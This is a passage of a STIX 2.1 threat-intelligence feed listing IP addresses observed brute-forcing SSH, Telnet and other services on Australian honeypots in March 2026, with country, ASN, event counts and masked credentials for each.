      "created": "2026-03-01T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 415. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): a***n, r**t, t**t, s*****t, u**r. Passwords observed (masked): a***n, 1**4, p******d, 1***5, a******3.",
      "id": "indicator--61a73bab-f80a-4f9d-8e48-1f4c7b19783a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '171.243.151.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T05:15:13.000Z",
      "valid_until": "2026-04-02T05:15:11.000Z"
    },
    {
      "created": "2026-03-01T05:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28220. Organisation(s): Alares Cabo Servicos de Telecomunicacoes S.A..",
      "id": "indicator--d5c27e97-c778-4aa4-8aec-37e1f9ded112",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '186.235.4.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T05:15:13.000Z",
      "valid_until": "2026-04-02T05:15:11.000Z"
    },
    {
      "created": "2026-03-01T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 262685. Organisation(s): ScherrerNet Informatica Ltda ME. Usernames observed (masked): r**t. Passwords observed (masked): J******6, T*******0.",
      "id": "indicator--72a33cda-c331-42ac-b8c2-0af46d778e0d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '187.120.32.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T05:15:13.000Z",
      "valid_until": "2026-04-02T05:15:11.000Z"
    },
    {
      "created": "2026-03-01T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 16735. Organisation(s): ALGAR TELECOM SA. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 0****3, 1*******., 1*********A.",
      "id": "indicator--2d79fefb-b631-489e-bca6-910656598be4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '201.49.108.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T05:15:13.000Z",
      "valid_until": "2026-04-02T05:15:11.000Z"
    },
    {
      "created": "2026-03-01T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--cfcd06c8-f037-4506-a7ad-62c955a6c2c3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T05:15:13.000Z",
      "valid_until": "2026-04-02T05:15:11.000Z"
    },
    {
      "created": "2026-03-01T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 0****3, 1*******., 1*********A.",
      "id": "indicator--1b271b06-38f9-4eb3-909c-e0899a9370f9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '218.51.148.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T05:15:13.000Z",
      "valid_until": "2026-04-02T05:15:11.000Z"
    },
    {
      "created": "2026-03-01T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 270. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IT. ASN(s): 203462. Organisation(s): Novaconn Srl. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1******2, 3****4, A******8.",
      "id": "indicator--a60e7da4-9cdb-4b9d-a25c-4264e022a57f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '31.59.89.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T05:15:13.000Z",
      "valid_until": "2026-04-02T05:15:11.000Z"
    },
    {
      "created": "2026-03-01T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A******2, A****3, a*****1.",
      "id": "indicator--536441e3-379b-4b68-b011-815bccdd4672",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '34.78.29.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T05:15:13.000Z",
      "valid_until": "2026-04-02T05:15:11.000Z"
    },
    {
      "created": "2026-03-01T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 42610. Organisation(s): Rostelecom.",
      "id": "indicator--e6de1eed-48a8-459e-9a93-4de905597687",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '37.110.113.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T05:15:13.000Z",
      "valid_until": "2026-04-02T05:15:11.000Z"
    },
    {
      "created": "2026-03-01T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1******2, 3****4, A******8.",
      "id": "indicator--be9e2fd2-57ef-4d64-8fec-c23600bcef50",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '37.59.110.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T05:15:13.000Z",
      "valid_until": "2026-04-02T05:15:11.000Z"
    },
    {
      "created": "2026-03-01T05:15:13.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22, 23. Source country: US. ASN(s): 174. Organisation(s): Cogent Communications, LLC.",
      "id": "indicator--9f24a41c-a86f-4421-9188-fec5419f3950",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.123.94.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T05:15:13.000Z",
      "valid_until": "2026-04-02T05:15:11.000Z"
    },
    {
      "created": "2026-03-01T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HN. ASN(s): 263725. Organisation(s): MULTICABLE DE HONDURAS. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*****e, 1******5, 3***********4, 3**********4, A******9.",
      "id": "indicator--58472310-810b-4e42-9f09-0904bc4729df",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.7.24.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T05:15:13.000Z",
      "valid_until": "2026-04-02T05:15:11.000Z"
    },
    {
      "created": "2026-03-01T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: NL. ASN(s): 205759. Organisation(s): Ghosty Networks LLC.",
      "id": "indicator--6b22d55c-31b5-464a-bfd3-f323b2dbae05",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '46.151.182.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T05:15:13.000Z",
      "valid_until": "2026-04-02T05:15:11.000Z"
    },
    {
      "created": "2026-03-01T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 215540. Organisation(s): Global Connectivity Solutions Llp. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1******2, 3****4, A******8.",
      "id": "indicator--1998932d-47a6-4557-9369-d02af8c4e804",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '5.253.59.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T05:15:13.000Z",
      "valid_until": "2026-04-02T05:15:11.000Z"
    },
    {
      "created": "2026-03-01T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 257. Sensors involved: Heralding. Target ports: 5900. Source country: DE. ASN(s): 215730. Organisation(s): H2nexus Ltd. Passwords observed (masked): m******l, w******s.",
      "id": "indicator--1099f480-f9ed-471b-8e9a-de4e64bc1554",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.188.91.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T05:15:13.000Z",
      "valid_until": "2026-04-02T05:15:11.000Z"
    },
    {
      "created": "2026-03-01T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: GB. ASN(s): 205759. Organisation(s): Ghosty Networks LLC.",
      "id": "indicator--60f1f038-3a20-43ce-9109-6df8bd30c60a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.89.160.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T05:15:13.000Z",
      "valid_until": "2026-04-02T05:15:11.000Z"
    },
    {
      "created": "2026-03-01T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): h*******r. Passwords observed (masked): h*******r.",
      "id": "indicator--3a6a37a2-13a5-411c-9673-0cb15aaf9fd5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '77.90.185.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T05:15:13.000Z",
      "valid_until": "2026-04-02T05:15:11.000Z"
    },
    {
      "created": "2026-03-01T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IT. ASN(s): 3269. Organisation(s): TIM. Usernames observed (masked): r**t. Passwords observed (masked): 6******&, 9*******1, J******6.",
      "id": "indicator--8c5b765e-b2a2-4559-8ddc-2660bcc61c42",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '95.239.158.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T05:15:13.000Z",
      "valid_until": "2026-04-02T05:15:11.000Z"
    },
    {
      "created": "2026-03-01T06:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 162. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1****8, 1**********y, 1******5.",
      "id": "indicator--352d9374-2103-457b-9d91-9bd51d146de3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T06:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.149.27.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T06:15:13.000Z",
      "valid_until": "2026-04-02T06:15:11.000Z"
    },
    {
      "created": "2026-03-01T06:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 133719. Organisation(s): IDIGITALCAMP WEB SERVICES. Usernames observed (masked): r**t. Passwords observed (masked): 1*****e.",
      "id": "indicator--cdef0b59-624f-4dad-81ef-2de1dc454b94",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T06:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.174.102.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T06:15:13.000Z",
      "valid_until": "2026-04-02T06:15:11.000Z"
    },
    {
      "created": "2026-03-01T06:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 51604. Organisation(s): JSC ER-Telecom Holding.",
      "id": "indicator--c2166b63-2194-4ef6-bf9a-1cc099692574",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T06:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '109.195.108.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T06:15:13.000Z",
      "valid_until": "2026-04-02T06:15:11.000Z"
    },
    {
      "created": "2026-03-01T06:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--ae09dafe-f71c-4183-bbe7-a0b4f7a20a6b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T06:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '121.140.134.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T06:15:13.000Z",
      "valid_until": "2026-04-02T06:15:11.000Z"
    },
    {
      "created": "2026-03-01T06:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 202412. Organisation(s): Omegatech LTD. Usernames observed (masked): r**t. Passwords observed (masked): r**t.",
      "id": "indicator--11a1e906-6f9e-4d65-b411-ad7cc5df60e8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T06:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '130.12.180.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T06:15:13.000Z",
      "valid_until": "2026-04-02T06:15:11.000Z"
    },
    {
      "created": "2026-03-01T06:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TH. ASN(s): 45458. Organisation(s): SBN-ISPAWN-ISP and SBN-NIXAWN-NIX. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1****8, 1******5, 3***********4, 3**********4, A*******3.",
      "id": "indicator--d5b31be7-1865-4c61-af1a-9b07215ec99f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T06:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '147.50.103.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T06:15:13.000Z",
      "valid_until": "2026-04-02T06:15:11.000Z"
    },
    {
      "created": "2026-03-01T06:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 0*****6, 1*******#, 3***********4, 3**********4, Q******6.",
      "id": "indicator--98f95c6a-7efd-447a-b0d2-54f82a2563c7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T06:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.32.134.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T06:15:13.000Z",
      "valid_until": "2026-04-02T06:15:11.000Z"
    },
    {
      "created": "2026-03-01T06:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1****8, 1**********y, 1******5, 3***********4, 3**********4.",
      "id": "indicator--056f771b-decf-4ab6-b02d-bc3c1417d249",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T06:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.22.84.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T06:15:13.000Z",
      "valid_until": "2026-04-02T06:15:11.000Z"
    },
    {
      "created": "2026-03-01T06:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--2a7c4707-a0ef-454f-ba7e-3bc9e7cec03e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T06:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '18.116.101.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T06:15:13.000Z",
      "valid_until": "2026-04-02T06:15:11.000Z"
    },
    {
      "created": "2026-03-01T06:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--4ee71029-9f7e-4fe9-887b-5eda62c67d8e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T06:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.65.195.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T06:15:13.000Z",
      "valid_until": "2026-04-02T06:15:11.000Z"
    },
    {
      "created": "2026-03-01T06:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A********5, Y******6, ^******m.",
      "id": "indicator--628e649c-3291-4b7e-a41e-21e5911830a3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T06:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '27.112.78.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T06:15:13.000Z",
      "valid_until": "2026-04-02T06:15:11.000Z"
    },
    {
      "created": "2026-03-01T06:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 27. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 401701. Organisation(s): cognetcloud INC. Usernames observed (masked): r**t, a***n, o******i. Passwords observed (masked): *, a***n, o******i, p******d, r**t.",
      "id": "indicator--866a6cfb-327a-468f-8551-86ec4de3e7d0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T06:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.192.96.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T06:15:13.000Z",
      "valid_until": "2026-04-02T06:15:11.000Z"
    },
    {
      "created": "2026-03-01T06:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 79. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1****8, 1**********y, 3***********4, 3**********4, a********4.",
      "id": "indicator--06d30e27-453e-48ef-8263-1499cd13e8e7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T06:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.78.194.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T06:15:13.000Z",
      "valid_until": "2026-04-02T06:15:11.000Z"
    },
    {
      "created": "2026-03-01T06:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 38700. Organisation(s): SMILESERV. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !**********c, 1********6, 1**3, 3****9, 3***********4.",
      "id": "indicator--d29df374-455a-44a6-a1cc-39ccc43be740",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T06:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '49.247.175.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T06:15:13.000Z",
      "valid_until": "2026-04-02T06:15:11.000Z"
    },
    {
      "created": "2026-03-01T06:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MY. ASN(s): 4788. Organisation(s): TM TECHNOLOGY SERVICES SDN. BHD.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !**************r, 3***********4, 3**********4, P********@, p******d.",
      "id": "indicator--ed7750e7-1a6c-4eb2-ab61-f1c592f3fd22",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T06:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '60.50.210.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T06:15:13.000Z",
      "valid_until": "2026-04-02T06:15:11.000Z"
    },
    {
      "created": "2026-03-01T06:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Heralding. Target ports: 5432. Source country: GB. ASN(s): 401626. Organisation(s): Netiface America, Inc.. Usernames observed (masked): p******s. Passwords observed (masked): 1****6, p******d, p******s.",
      "id": "indicator--749ce4d8-9fd3-4ffd-80a6-54ddbeb3bfd3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T06:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.89.163.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
